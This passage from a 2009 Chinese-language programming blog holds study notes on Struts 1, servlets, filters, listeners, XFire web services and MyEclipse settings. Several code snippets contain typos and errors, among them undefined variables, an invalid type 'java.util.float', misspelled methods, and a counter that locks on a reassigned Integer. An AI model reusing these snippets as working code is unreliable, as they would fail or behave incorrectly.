}
return null;
}
}
5 页面直接抛出异常
public void login(String username,String password){
if(!"admin".equals(username)){
throw new ErrorCodeException("user.not.found",username,age);
}
}
---------------------------------------------------------------------
二 方法:
1 定义MessageResources.propertices资源文件
内容:error.exception={0}
2 在struts-config中配置<exception/>
<exception key="error.exception" type="com.bjsxt.struts.ErrorCodeException"/>
3 编写异常类ErrorCodeException继承RuntimeException
public class ErrorCodeException extends RuntimeException {
public ErrorCodeException(String msg){
super(msg);
}
}
4 页面直接抛出异常
public void login(String username,String password){
if(!"admin".equals(username)){
throw new ErrorCodeException("名称"+usrname+"错误!");
}
}
--------------------------------------------------------------------------
1 ApplicationResources.properties文件
num2Meg=is not a double
2 struts-config.xml
<message-resources parameter="ApplicationResources" />
3 ActionMessages errs=new ActionMessages();
errs.add("num1Error",new ActionMessage("num2Meg"));
//errs.add(ActionMessages.GLOBAL_MESSAGE,new ActionMessage("num2Meg"));
this.saveErrors(request,errs);
页面
<html:errors property="num1Error"/>
//<html:errors/>//全局不能指定property
errs.header="<script>alert("
errs.footer=")</script>"
posted @
2009-11-30 08:11 junly 阅读(489) |
评论 (0) |
编辑 收藏
Converter添加java.util.Date类型转换器
1 编写UtilDateConverter转换器类,
实现Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)
public class UtilDateConverter implements Converter {
public Object convert(Class type, Object value) {
System.out.println("UtilDateConverter.value="+value);
if(value==null){
return value;
}
if(value instanceof Date){//instanceof判断是否属于此类型
return value;
}
Date d=null;
if(value instanceof String){
SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd");
try {
d=sdf.parse(value.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
return d;
}
}
2 利用servlet的init()方法注册转换器到ConvertUtils(com.sun.org.apache.commons.beanutils.ConvertUtils)
public class UtilDateConverterInitServlet extends HttpServlet {
public void init() throws ServletException {
System.out.println("UtilDateConverterInitServlet.init()");
ConvertUtils.register(new UtilDateConverter(),Date.class);
}
}
3 配置servlet,并设</load-on-startup>值
<servlet>
<servlet-name>UtilDateConverterInitServlet</servlet-name>
<servlet-class>com.bjsxt.servlet.UtilDateConverterInitServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>UtilDateConverterInitServlet</servlet-name>
<url-pattern>/servlet/UtilDateConverterInitServlet</url-pattern>
</servlet-mapping>
------------------------------------------------------------------------
方法二:
1 编写UtilDateConverter转换器类,
实现Converter接口的convert方法(com.sun.org.apache.commons.beanutils.Converter)
(同上)
2 编写UtilDateConverterInitWithPlugIn类实现PlugIn接口的init()方法
public class UtilDateConverterInitWithPlugIn implements PlugIn {
public void destroy() {
}
public void init(ActionServlet arg0, ModuleConfig arg1)
throws ServletException {
System.out.println("UtilDateConverterInitServlet.init()");
ConvertUtils.register(new UtilDateConverter(),Date.class);
}
}
3 在struts-config.xml文件中配置<plug-in>标签
<plug-in className="com.bjsxt.servlet.UtilDateConverterInitWithPlugIn"/>
posted @
2009-11-30 08:10 junly 阅读(372) |
评论 (0) |
编辑 收藏
DynaActionForm 配态form
1 配置动态form属性<form-property>name属性,type属性类型,primitive type必须使用包装类型。
<form-beans>
<form-bean name="addStudentForm" type="org.apache.struts.action.DynaActionForm">
<form-property name="sname" type="java.lang.String" initial=""(初始值)></form-property>
<form-property name="birth" type="java.sql.Date"></form-property>
<form-property name="major" type="java.lang.String"></form-property>
<form-property name="score" type="java.util.float"></form-property>
</form-bean>
</form-beans>
2 配置action标记
<action-mappings>
<action path="/addstudentform"
type="com.yourcompany.struts.AddAction"
name="addStudentForm(form的名子)">
</action>
</action-mappings>
3 获取页面的值:
动态ActionForm其实是把页面的html元素的名字和值放到名字和值放到map中,所以通过get方法可以取出相应的值
(1) String sname=(String)addStudentForm.get("sname");
EL: ${dynabean(addStudentForm).map.prop}
(2) String sname=(String)addStudentForm.get("sname");
动态ActionForm的验证,通常使用动态验证框架validator
属性名及类型一致才可以拷贝
可以通过BeanUtils.copyProperties(userbean目标对象,form源对象)方法进行对象的复制
posted @
2009-11-30 08:10 junly 阅读(300) |
评论 (0) |
编辑 收藏
网站struts.apache.org
实践步骤:
1 搭建环境
(1)导入jar包
使用其中相关的类(可将所有jar全部导入)
(2)建立一个配置文件:struts-config.xml
作用:方便struts用户使用
位置:一般放在WEB-INF下
(3)配置web.xml
注册struts中心控制器-----ActionServlet
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>()Navigate下Open Type输入actionServlet复制目录
<init-param>//读初始化文件的信息
<param-name>config</param-name>//参数名
<param-value>/WEB-INF/struts-config.xml</param-value>//文件名
</init-param>
<load-on-startup>0</load-on-startup>//服务启起就实例化,0最早
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>//对所有的do请求都作处理
</servlet-mapping>
注意事项:
struts配置文件的位置
预先加载控制器
------------------------------------------------------------------
2 建立ActionForm
(1)建一个Bean类,继承org.apache.struts.action.ActionForm
(2)注册,修改配置文件struts-config.xml
<form-bean>
<form-beans>
<form-bean name="变理名" type="类全名"/>
</form-beans>
意注:struts-config.xml文件中<form-beans>和<action-mappings>的顺序不能变,有DTD约束规定。
------------------------------------------------------------
3 建立Action
(1)建立一个类,继承org.apache.struts.action.Action。重写execute方法
需要强制转型
LoginFrom lof=(LoginFrom)form;
调用其它模块
跳转(根据关键字,关键字参照该action中forward标签中的name属性)
mapping.findForward("name属性");
(2)注册,修改配置文件struts-config.xml
<action>
<action-mappings>
<action path="指明调用者(JSP)能通过中心控制器ActionServlet找到该Action"
type="指明该action类全名"
name="该action引用的form的名称">
<forward name="loginSuccess" path="index.jsp"></forward>
</action>
</action-mappings>
4 页面访问
<form action="<%=request.getContextPath()%>/login.do">
-------------------------------------------------------------------
Struts framework的工作原理工科
1 读敢配置 (初始化ModuleConfig对象)
Struts框架总控制器(ActionServlet)是一个Servlet,在web.xml中配置成自动启动的Servlet。
读取配置文件(struts-config.xml)的配置信息,为不同的Struts模块初始化相应的ModuleConfig
对名:ActionConfig,
ControlConfig,
FormBeanConfig,
MessageResourcesConfig
2 发送请求
请求上传WEB服务器(处理.do的请求)
3 填充FORM(实例化,复位,填充数据,校验,保存)
(*.do请求)从ActionConfig中找出对应该请求的Action子类,如没有对应的Action,控制器直接转发给
JSP或静态页面。如有对应的Action且这个Action有一个相应的ActionForm.
ActionForm被实例化并用http请求的数据填充其属性,并且保存在ServletContext中(request或session中),
这样它们就可以被其它Action对象或者JSP调用。
4 派发请求
控制器根据配置信息ActionConfig将请求派发到具体的Action,相应的FormBean一并传给这个Action的execute()方法.
5 处理业务
Action一般只包含一个execute方法,它负责执行相应的业务逻辑(调用其它业务模块).完毕返回一个ActionForward对象,
控制器通过该ActionForward对象来进行转发工作
6 返回响应
Action根据业务处理的不同结果返回一个目标响应对象给总控制器,该目标响应对象对应一个具体的JSP页面或另一Action.
7 查找响应(可以是一个Action)
8 响应用户
-----------------------------------------------------------------------------------------------------------
组件
ActionSerlet,Action Classes,Action Mapping(此处包括ActionForward),ActionForm Bean.
Struts中的MVC:
1 模型(Model):本质上来说在Struts中Model是一个商业逻辑类,开发者实现商业逻辑。
2 视图(View):View是由与控制器Servlet配合工作的一整套JSP定制标签库构成,利用他们可以快速建立应用系统的界面。
3 控制器(Controller),前端控制器是一个Servlet,它将客户端请求转发到相应的后端控制器Action类。
注意:官方认为ActionForm Bean应为控制层(Controller)组件,自已写的JavaBeans为模型(Model)
-----------------------------------------------------------------------------------
ActionServlet(中心控制器)
定义:继承自javax.servlet.http.HttpServlet类,是中心控制器(总控制器)。它提供一个中心位置来处理全部的终端请求。
作用:接受请求,填充数据,派发请求,响应用户。
配置:在web.xml文件声明。
例子:
<servlet>
<servlet-name>action</servlet-name>
<servlet-class>org.apache.struts.action.ActionServlet</servlet-class>
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
<load-on-startup>0</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>action</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>
注意:struts-config.xml文件系统默主调用,可以不<init-param>配置
<init-param>
<param-name>config</param-name>
<param-value>/WEB-INF/struts-config.xml</param-value>
</init-param>
-------------------------------------------------------------------
Action
发出该action请求时初始化,不是在读取配置时,并且只初始化一次。
Action是线程不安全的,因为所有的请求共享一个别action实例。
所以:不要用实例变量或者类变是共享只是针对某个请求的数据
注意资源操作的同步性。
应用:
统计一个action访问次数
public class CountAction extends Action {
private Integer count=0;
public ActionForward execute(ActionMapping mapping, ActionForm form,
HttpServletRequest request, HttpServletResponse response)
throws Exception {
synchronized(count){//加锁
count++;
}
PrintWriter out=response.getWriter();
out.print("count="+count);
return null;
}
}
----------------------------------------------------
ActionMapping
是对struts-config.xml中action标签中所有属性的封装类。
mapping.getName()(String)
mapping.getPath()(String)
mapping.getType()(String)
String[] forwardNames=mapping.findForwards();
for(String forward:forwardNames){
ActionForward forward=mapping.findForward(forward);
String forwardPath=forward.getPath();
}
相应的set方法不能使用。
-----------------------------------------------------
ActionForward(导航器)
ActionForward对象是配置对象。这些配置对象拥有独一无二的标识以允许他们按照name属性来检索。
name:逻辑名称
path:页面或者模块访问路径。
redirect:默认为false.设为true时为容器外跳转,相当于response.sendRedirect();
在xml文件中的path中要写绝对路径。
--------------------------------------------------------------
ActionForm工作原理
步骤:
(1)检查Action的映射,确定Action中已经配置了对ActionForm的映射
(2)根据name属性,查找form bean中的配置信息
(3)检查Action的form bean的使用范围,确定在此范围下(request,session),是否已经有些form bean的实例。
(4)假如当前范围下,已经存在了些form bean的实例,而是对当前请求来说,是同一种类型的话,就重用。
(5)否则,就重新构建一个form bean的实例(调用构造方法),并且保存在一定作用范围。
(6)form bean的reset()方法被调用
在作数据收集前被调用,是一个重置的方法.
(7)调用对应的setter方法,对状态属性赋值
(8)如果validatede的属性设置为true,就调用form bean的validate()方法。
该方法进行表单的服务器端验证.
(9)如果validate()方法没有返回任何错误,控制器将ActionForm作为参数,传给Action实例的execute()方法并执行。
注意:直接从ActionFrom类继承的reset()和validate()方法,并不能实现什么处理功能,所以重新覆盖。
注意:
1 无参构造方法必须有
2 Scope缺省值是session
3 调用setter方法,实质上是对应的标准set方法
分析:
4 从过程去查看
HttpSessionAttributeListener
ServletRequestAttributeListener
5 从结果去查看
---------------------------------------------------
ActionForm
reset()方法,用于恢复属性,在重新复值前由controller调用。
valldate()方法,用于校验属性,返回ActionErrors,如果成功返回null,默认返回null.
关闭校验功能设置struts-config.xml中<action>标签的validate属性为false.
validate
----------------------------------------------------------
struts-config.xml文件中的action标签
1 attribute属性
用来存取form的关键字,缺省值与name一样,如果设了必须用该属性。
2 validate属性(action中的属性)
用来控制是否校验表单,缺省为false,false不校验。
3 input属性
当表单校验失败时将请求转发的URL(或目标模块,可以为另一个别action),结合validate属性使用,为相对路径。
在ActionForm类的validate方法中手动添加错误
public ActionErrors validate(ActionMapping mapping,HttpServletRequest request){
ActionErrors errors=new ActionErrors();
ActionMessage message=new ActionMessage("error");//应为键值对
errors.add("error",message);
return errors;
}
---------------------------------------------------------------------------
struts-config.xml文件中的<global-forwards>全局跳转标签
<global-forwards>
<forward name="error" path="Error.jsp"/>
</global-forwards>
使用方式同action中的forwar标签
posted @
2009-11-29 22:59 junly 阅读(2319) |
评论 (0) |
编辑 收藏
1 实例化:servlet容器创建servlet实例,构造方法
2 初始化:该容器调用init()方法
init()
init(ServletConfig config){
config.getParamter("aaa");
}
web.xml
<servlet>
<param-name>aaa</param-name>
<param-value>1</param-value>
</servlet>
3 服务:如果请求servlet,则容器调用service()方法
4 销毁:销毁实例前调用destroy()方法
posted @
2009-11-29 22:50 junly 阅读(228) |
评论 (0) |
编辑 收藏
一个java类,运行在服务器端的,处理web请求
//客户端跳转
response.sendRedirect()
//服务器端跳转
RequsetDispatcher dispatcher=request.getRequestDispatcher("/...");
dispatcher.forward(request,response);
dispatcher.include()
1 out
struts中用PrintWriter out=request.getWriter()得到
2 request
(1)String getParameter(String name) 根据页面表单组件名称获取页面提交数据
(2)String[] getParameterValues(String name) 获取一个页面表单组件对应多个值时的用户的请求数据
(3)void setCharacterEncoding(String name) 指定每个请求的编码,在调用request.getParameter()方法之前进行设置,可以用于解决中文乱码
(4)request.getRequestDispatcher(String path)返回一个javax.servlet.RequestDispatcher对象,该对象的forward方法用于转发请求
javax.servlet.RequestDispatcher dispatcher=request.getRequestDispatcher("/a.jsp(目标页面)");
dispatcher.forward(request,response);
3 response
response.sendRedirect(String location)重定向一个URL
4 session
(1)void setAttribute(String key,Object value)
(2)Object getAttribute(String key)
(3)HttpSession request.getSession()
(4)HttpSession request.getSession(boolean true)
(5)void session.setMaxInactiveInterval(2)//设置会话过期时间
(6)void invalidate()//销毁session,删除HttpSession对象及数据
(7)void remove(String key)
(8)boolean isNew()//是否是最新会话
在web.xml中配置session默认过期时间
<session-config>
<session-timeout>5</session-timeout>//单位为分钟
</session-config>
5 applicate->servletContext
(1)void setAttribute(String key,Object value)
(2)Object getAttribute(String key)
6 pageContext
6 service方法
posted @
2009-11-29 22:49 junly 阅读(241) |
评论 (0) |
编辑 收藏
web Service
xml数据格式
SOAP(简单对象访问)
WSDL
-----------
开发步骤
1 建立服务并发布
XFire
× 导入jar包
* service.xml
* web.xml
创建接口
public interface IProcessCredit{
public String sayHello(String username);
}
和实现类
public class ProcessCreditImpt implement IProcessCredit{
public String sayHello(String username){
return "你好"+username;
}
}
编写配置文件
services.xml
<service>
<name>CreditCard</name>
<namespace>http://www.CreditCard.com</namespace>
<serviceClass>
org.com.IProcessCredit
</serviceClass>
<implementationClass>
org.com.ProcessCreditImpt
</implementationClass>
2 客户端servlet调用服务
1 导入Service的jar
2 导入XFire的jar
3 Service
Service service=new ObjectServiceFactory().create(IProcessCredit.class);
XFire xfire=XfireFactory.newInstance().getXFire();
XFireProxyFactory factory=new XFireProxyFactory(xfire);
String url="";
IProcessCredit c=(IProcessCredit)factor.create(service,url);
c.sayHello("ddddddddddd");
-----------------------------------------------------------------
步骤:
1 建立接口
public interface IBookService {
public int addBook(Book book);
}
2 实现接口
public class ProessBookService implements IBookService {
public int addBook(Book book) {
BookDao bookDao=new BookDao();
return bookDao.addBook(book);
}
}
3 在src下创建META-INF文件夹,在META-INF下创建xfire文件夹,在xfire下创建services.xml
(src-->META-INF-->xfire-->services.xml)
<service>
<name>BookService</name>
<namespace>http://www.book.com</namespace>
<serviceClass>org.book.IBookService </serviceClass>
<implementationClass>org.book.ProessBookService </implementationClass>
</service>
4 编写web.xml
<servlet>
<servlet-name>XFireServlet</servlet-name>
<servlet-class>org.codehaus.xfire.transport.http.XFireConfigurableServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>XFireServlet</servlet-name>
<url-pattern>/services/*</url-pattern>
</servlet-mapping>
5 编写调用方法
Service serviceModle=new ObjectServiceFactory().create(IBookService.class);
XFire xFire=XFireFactory.newInstance().getXFire();
XFireProxyFactory factory=new XFireProxyFactory(xFire);
String urlString="http://localhost:8080/ownhome/services/ProessBookService";
IBookService bookService=(IBookService) factory.create(serviceModle, urlString);
posted @
2009-11-29 22:48 junly 阅读(287) |
评论 (0) |
编辑 收藏
servlet边滤器
1 编写实现javax.servlet.Filter接口的类
public class MyFilter implements Filter {
private FilterConfig config;
private String encoding="IS0-8859-1";
public void destroy() {//过滤器当前类被消灭时调用的方法
}
public void doFilter(ServletRequest request, ServletResponse response,//过滤器主方法
FilterChain chain) throws IOException, ServletException {
request.setCharacterEncoding(encoding);
chain.doFilter(request, response);//设置其可被下个过滤器继续调用
}
public void init(FilterConfig config) throws ServletException {//过滤器当前类初始化时调用此方法
this.config=config;
String s=config.getInitParameter("encoding");//得到相应参数
if(s!=null){
encoding=s;
}
}
}
FilterConfig类用于获得初始化的参数的包装类
FilterChain类是过滤器的链,可以多重过滤
2 配置Servlet过滤器
<filter>
<filter-name>EncodingFilter</filter-name>过滤器名称
<filter-class>com.webs.MyFilter</filter-class>对应类
<init-param>参数
<param-name>encoding</param-name>参数名
<param-value>UTF-8</param-value>参数值
</init-param>
</filter>
<filter-mapping>映射特定资源
<filter-name>EncodingFilter</filter-name>过滤器名称
<url-pattern>/*</url-pattern>
</filter-mapping>
3 页面
4 注意:服务器端跳转是不过滤的
posted @
2009-11-29 22:47 junly 阅读(216) |
评论 (0) |
编辑 收藏
servlet监听器
在WEB应用中响应特定对象的特定事件
好处:更方便的控制application,session,request对象的发生的特定事件
可以集中处理特定的事件
-------------------------------------------------------------------
HttpSession监听器接口
1 HttpSessionListener(需要配web.xml)
2 HttpSessionAttributeListener(需要配web.xml)
3 HttpSessionBindingListener
4 HttpSessionActivationListener(需要配web.xml)
-------------------------------------------------------------------
HttpSessionListener
1 sessionCreated()//当session对象产生的时候调用的方法
2 sessionDestroyed()//当session对象消灭的时候调用的方法
web.xml配置
<listener>
<listener-class>webbook.chapter14.CounterListener(对应的实现类)
</listener-class>
</listener>
---------------------------------------------------------------------
HttpSessionAttributeListener
1 attributeAdded()//添加时调用
2 attributeReplaced()//替换时调用
3 attributeRemoved()//删除时调用
产生事件的代码
session.setAttribute("username","wangwu");
session.setAttribute("username","lisi");
session.removeAttribute("username");
-----------------------------------------------------------------
HttpSessionBindingListener
1 valueBound();
2 vaoueUnbound();
调用机制
如果一个类实现了HttpSessionBindingListener接口,则当这个类的对象通过session.setAttribute()被绑定到Session对象中时,
则该对象的valueBound()方法被自动调用,当这个对象从Session中删除时(调用session.invalidate()和session.removeAtrribute()
方法,或Session对象过期)valueUnbound()方法将被自动调用.
--------------------------------------------------------------------------------------------------------
HttpSessionActivationListener
1 sessionDidActivate();
2 sessionWillPassivate();
---------------------------------------------------------------------------------
例子:
1 建立CounterListener处理类
import javax.servlet.http.HttpSessionEvent;
import javax.servlet.http.HttpSessionListener;
public class CounterListener implements HttpSessionListener {
private static long onlineNumber=0;
public void sessionCreated(HttpSessionEvent se) {
onlineNumber++;
}
public void sessionDestroyed(HttpSessionEvent se) {
onlineNumber--;
}
public static long getOnlineNumber(){
return onlineNumber;
}
}
2 配置web.xml
<listener>
<listener-class>com.tags.CounterListener</listener-class>
</listener>
3 JSP页面
<%@page import="com.tags.CounterListener;"%>
<body>
当前的在线人数:<%=CounterListener.getOnlineNumber() %> <br>
</body>
----------------------------------------------------------------------------
ServletContext监听器接口
ServletContextListener
1 contextInitialized()
2 contextDestroyed()
调用机制
当在web应用中部署了实现该接口的实现类后,在WEB容器加载WEB应用时(如:启动服务器)就会自动调用contextInitialized()方法,
而当WEB容器销毁WEB应用时(如:关闭服务器),会自动调用contextDestroyed()方法.
-----------------------------------------------------------------------------------
ServletContextAttributeListener
1 attributeAdded()
2 attributeReplaced()
3 attributeRemoved()
触发事件的代码
context.setAttribute("counter",new Integer(0));
context.setAttribute("counter",new Integer(100));
context.removeAttribute("counter");
-----------------------------------------------------------
HttpServletRequest监听器
ServletRequestListener
1 requestInitialized();
2 requestDestroyed()
调用机制
与ServletContextListener接口类似,在web应用中部署实现该接口的实现类扣,在HttpServletRequest对象(JSP中的request对象)建立
或者被销毁时,由web容器自动调用requestInitialized()或者requestDestroyed()方法.
--------------------------------------------------------------------------------------
ServletRequestAttributeListener
1 attributeAdded();
2 attributeReplaced();
3 attributeRemoved();
触发事件的代码
request.setAttribute("username","lisi");
request.setAttribute("username","wangwu");
request.removeAttribute("username");
******************************************************************
public class ListenerOnline implements HttpSessionLinstener,ServletContext{
private application;
public void sessionCreated(HttpSessionEvent event){
Integer n=(Integer)application.getAttrabute("z",1000);
application.setAttrabute("z",n.IntValue()+1);
}
public void sessionDestroyed(HttpSessionEvent event){
}
public void contextInitialized(ServletContextEvent event){
application=event.getServletContext();
application.setAttrabute("z",1000);
}
public void contextDestroyed(ServletContextEvent event){
}
}
<listener>
<listener-class>com.tags.ListenerOnline</listener-class>
</listener>
<meta http-equiv="refresh" content="3"/>
posted @
2009-11-29 22:47 junly 阅读(324) |
评论 (0) |
编辑 收藏
-HttpServletRequest request对象
request.getParameter("param");
request.setAttribute("loginname",object);
request.setCharacterEncoding("gb2312");
输入内容转成中文
-HttpServletResponse response对象
response.setContentType("text/html;charset=gb2312");
设置输出为中文
response.sendRediredt("url");
-RequsetDispatcher dispatcher=request.getRequestDispatcher(url);
定义转发器
dispatcher.forward(request,response);
-HttpSession session对象
创建对象的两种方法
HttpSession session = request.getSession(boolean value);
HttpSession session = request.getSession();
方法一:true时,返回该当前请求相关的会话,如果不存在创建一个新的会话,并返回。
false时,返回该当前请求相关的会话,如果不存在返回null,不创建会话。
方法二:等同于方法一为true时。
HttpSession接口的方法
session.setAttribute(String name,Object value);
session.getAttribute(String name);//返回Object
session.removeAttribute(String name);//删除
session.invalidate()//当前会话关闭
*/
/*
读取xml文件中的参数值
web.xml
<servlet>
<init-param>
<param-name>repeat</param-name>
<param-value>10</param-value>
</init-param>
</servlet>
servlet.java
int repeat=Integer.parseInt(this.getInitParameter("repeat"));
*/
/*
得到当前servlet相当信息的方法
request.getServerName()//得到当前请求的服务器名子
request.getRemoteAddr()得到当前请求服务器的IP地址
request.getServerPort()得到当前请求服务器的端口号
request.getProtlcol()得到当前请求的协议版本
request.getContextPath()得到当前请求的上下文地址
request.getScheme()得到当前请求的协议类型
request.getMethod()得到当前请求的提交方式GET
request.getRequestURI()得到当前服务器servlet的映射路径,带上下文
request.getServletPath()得到当前服务器servlet的映射路径
servlet的头信息
Enumeration e=request.getHeaderNames();得到包含header名子的Enumeration类形对象
request.getHeader()得到header名子对应的值
例子:
Enumeration e=request.getHeaderNames();
String name="";
while(e.hasMoreElements)
{
name=(String)e.nextElement();
System.out.println(name);
System.out.println(request.getHeader(name));
}
JSValidation验证框架
url:http://cosoft.org.cn/projects/jsvalidateion
修改validation-framwork.js
var ValidationRoot="/webproject2/js/"
配置validation-config.xml
FCKeditor文本编辑组件
http://www.fckeditor.net/download
posted @
2009-11-29 22:46 junly 阅读(326) |
评论 (0) |
编辑 收藏
1 在src下建config.properties文件
config.properties
uname=aaa
pwd=123
2
InputStream in=this.getClass().getResourceAsStream("/config.properties");
//in=new FileInputStream("D:/config.properties");
Properties pro=new Properties();
try{
pro.load(in);
pro.loadFromXML();
pro.getProperty("uname");
//(String)pro.get("uname");
pro.put(key,"value");
}
class
class.forName(String className)
运行中的对象都是class的一个实例,相关技术-反射
class.getResourceAsStream(String fileName)
查找具有给定名称的资源
Result类在java.servlet.jsp.jstl.sql.Result包中,可以在关闭连接的状态下使用
stmt=conn.createStatement();
rs=stmt.executeQuery(sql);
Result result=ResultSupport.toResult(rs);
if(result==null){
System.out.println("无数据");
}
for(int i=0;i<result.getRowCount();i++){
Map map=result.getRows()[i];
map.get("username");
}
作业,连接池,配置文件
<embed src=""/>
歌手表,gid,sex,name,love
歌曲表,id,name,gid,typeid,歌词
类型表,typeid,name
url
controls.play()
controls.stop()
posted @
2009-11-29 22:45 junly 阅读(517) |
评论 (0) |
编辑 收藏
应该是中文操作系统的原因,eclipse默认的新项目的编码是GBK,出于对编码支持的考虑,项目组中最好统一要求是UTF-8编码进行开发。
修改eclipse的配置,可以使得eclipse的新建项目的默认编码直接为UTF-8
在菜单栏的
Window->Preferences->General->Workspace->Text file encoding
将其改为UFT-8即可。
这个也是安装完Eclipse之后应该立刻做的一件事
但是这种修改只对当前的workspace有效,如果新建或者切换到一个新的workspace下,还是得做同样的步骤。
同样
Window->Preferences->General->Content Types中可以修改具体的不同格式的文件的默认编码,尤其是HTML,CSS,Javascript等文件的编码最好是修改一下,否则默认的ISO- 8859-1无法支持中文。
不知道如何解决默认安装完是GBK的问题,难道一定要用英文操作系统?
myeclipse6.0下怎么样统一全部文件编码:
windows---->preferences---->myeclipse---->file and editors----->jsp--->把这个目录下的encoding选为你要设置的编码(如UTF-8)
这样,你下次再新建一个JSP页面的时候就默认是以你刚才设置的编码了
因为默认情况下新建一个JSP页面的编码是ISO8859-1的,是不能存中文的,要存中文就得手动改为GBK,UTF-8支持中文的编码,每次新建都要修改手动修改一次编码就很麻烦.
经过上面的设置后就可以统一整个项目的编码而不用再手动设置.
posted @
2009-11-29 22:39 junly 阅读(714) |
评论 (0) |
编辑 收藏
在window->perferences->General->Appearance->Colors and Fonts->Basic->Text Font 单击change 修改
posted @
2009-11-29 22:38 junly 阅读(962) |
评论 (0) |
编辑 收藏
增强Eclipse ,MyEclipse 的代码提示功能,具体怎么样来配置?下面开始说步骤(注意本人用的
MyEclipse 6.0.1做讲解):
1. 打开MyEclipse 6.0.1,然后“window”→“Preferences”
2. 选择“java”,展开,“Editor”,选择“Content Assist”。
3. 选择“Content Assist”,然后看到右边,右边的“Auto-Activation”下面的“Auto
Activation triggers for java”这个选项。其实就是指触发代码提示的就是“.”这个符号。
4. “Auto Activation triggers for java”这个选项,在“.”后加abc字母,方便后面的查找
修改。然后“apply”,点击“OK”。
5. 然后,“File”→“Export”,在弹出的窗口中选择“Perferences”,点击“下一步”。
6. 选择导出文件路径,本人导出到桌面,输入“test”作为文件名,点击“保存”。
7. 在桌面找到刚在保存的文件“test.epf”,右键选择“用记事本打开”。
8. 可以看到很多配置MyEclipse 6.0.1的信息
9. 按“ctrl + F”快捷键,输入“.abc”,点击“查找下一个”。
10. 查找到“.abc”的配置信息如下:
如下:
11. 把“.abc”改成“.abcdefghijklmnopqrstuvwxyz(,”,保存,关闭“test.epf”。
12. 回到MyEclipse 6.0.1界面,“File”→“Import”,在弹出的窗口中选择“Perferences”,点击
“下一步”,选择刚在已经修改的“test.epf”文件,点击“打开”,点击“Finish”。该步骤和上面
的导出步骤类似。
13. 最后当然是进行代码测试了。随便新建一个工程,新建一个类。在代码输入switch,foreach等进行
测试。你立即会发现,果然出了提示,而且无论是敲哪个字母都会有很多相关的提示了,很流畅,很方
便。
总结:
“Auto Activation triggers for java”这个选项就是指触发代码提示的的选项,把“.”改成
“.abcdefghijklmnopqrstuvwxyz(,”的意思,就是指遇到26个字母和.,(这些符号就触发代码提示功
能了。
顺便说一下,修改类名,接口名等以不同颜色高亮的,可以这样配置在“java”→“enditor”→
“syntac”,右边展开“java”→“classes”,勾上“Enable”这个选项,选择自己喜欢的颜色即可。
当然还有其他相关的颜色配置。具体就不说啦。其实,在“Preferences”这个东西,有很多可以配置的
东西,使得MyEclipse 优化的,具体的就要各个人根据自己个人喜好去配置了。
posted @
2009-11-29 22:37 junly 阅读(6058) |
评论 (0) |
编辑 收藏
MyEclipse 快捷键
(1)Ctrl+M切换窗口的大小
(2)Ctrl+Q跳到最后一次的编辑处
(3)F2当鼠标放在一个标记处出现Tooltip时候按F2则把鼠标移开时Tooltip还会显示即Show Tooltip Description。
F3跳到声明或定义的地方。
F5单步调试进入函数内部。
F6单步调试不进入函数内部,如果装了金山词霸2006则要把“取词开关”的快捷键改成其他的。
F7由函数内部返回到调用处。
F8一直执行到下一个断点。
(4)Ctrl+Pg~对于XML文件是切换代码和图示窗口
(5)Ctrl+Alt+I看Java文件中变量的相关信息
(6)Ctrl+PgUp对于代码窗口是打开“Show List”下拉框,在此下拉框里显示有最近曾打开的文件
(7)Ctrl+/ 在代码窗口中是这种//~注释。
Ctrl+Shift+/ 在代码窗口中是这种/*~*/注释,在JSP文件窗口中是<!--~-->。
(8)Alt+Shift+O(或点击工具栏中的Toggle Mark Occurrences按钮) 当点击某个标记时可使本页面中其他地方的此标记黄色凸显,并且窗口的右边框会出现白色的方块,点击此方块会跳到此标记处。
(9)右击窗口的左边框即加断点的地方选Show Line Numbers可以加行号。
(10)Ctrl+I格式化激活的元素Format Active Elements。
Ctrl+Shift+F格式化文件Format Document。
(11)Ctrl+S保存当前文件。
Ctrl+Shift+S保存所有未保存的文件。
(12)Ctrl+Shift+M(先把光标放在需导入包的类名上) 作用是加Import语句。
Ctrl+Shift+O作用是缺少的Import语句被加入,多余的Import语句被删除。
(13)Ctrl+Space提示键入内容即Content Assist,此时要将输入法中Chinese(Simplified)IME-Ime/Nonlme Toggle的快捷键(用于切换英文和其他文字)改成其他的。
Ctrl+Shift+Space提示信息即Context Information。
(14)双击窗口的左边框可以加断点。
(15)Ctrl+D删除当前行。
Alt+↓当前行和下面一行交互位置(特别实用,可以省去先剪切,再粘贴了)
Alt+↑当前行和上面一行交互位置(同上)
Alt+←前一个编辑的页面
Alt+→下一个编辑的页面(当然是针对上面那条来说了)
Alt+Enter 显示当前选择资源(工程,or 文件 or文件)的属性
Shift+Enter 在当前行的下一行插入空行(这时鼠标可以在当前行的任一位置,不一定是最后)
Shift+Ctrl+Enter 在当前行插入空行(原理同上条)
Ctrl+Q 定位到最后编辑的地方
Ctrl+L 定位在某行 (对于程序超过100的人就有福音了)
Ctrl+M 最大化当前的Edit或View (再按则反之)
Ctrl+/ 注释当前行,再按则取消注释
Ctrl+O 快速显示 OutLine
Ctrl+T 快速显示当前类的继承结构
Ctrl+W 关闭当前Editer
Ctrl+K 参照选中的Word快速定位到下一个
Ctrl+E 快速显示当前Editer的下拉列表(如果当前页面没有显示的用黑体表示)
Ctrl+/(小键盘) 折叠当前类中的所有代码
Ctrl+×(小键盘) 展开当前类中的所有代码
Ctrl+Space 代码助手完成一些代码的插入(但一般和输入法有冲突,可以修改输入法的热键,也可以暂用Alt+/来代替)
Ctrl+Shift+E 显示管理当前打开的所有的View的管理器(可以选择关闭,激活等操作)
Ctrl+J 正向增量查找(按下Ctrl+J后,你所输入的每个字母编辑器都提供快速匹配定位到某个单词,如果没有,则在stutes line中显示没有找到了,查一个单词时,特别实用,这个功能Idea两年前就有了)
Ctrl+Shift+J 反向增量查找(和上条相同,只不过是从后往前查)
Ctrl+Shift+F4 关闭所有打开的Editer
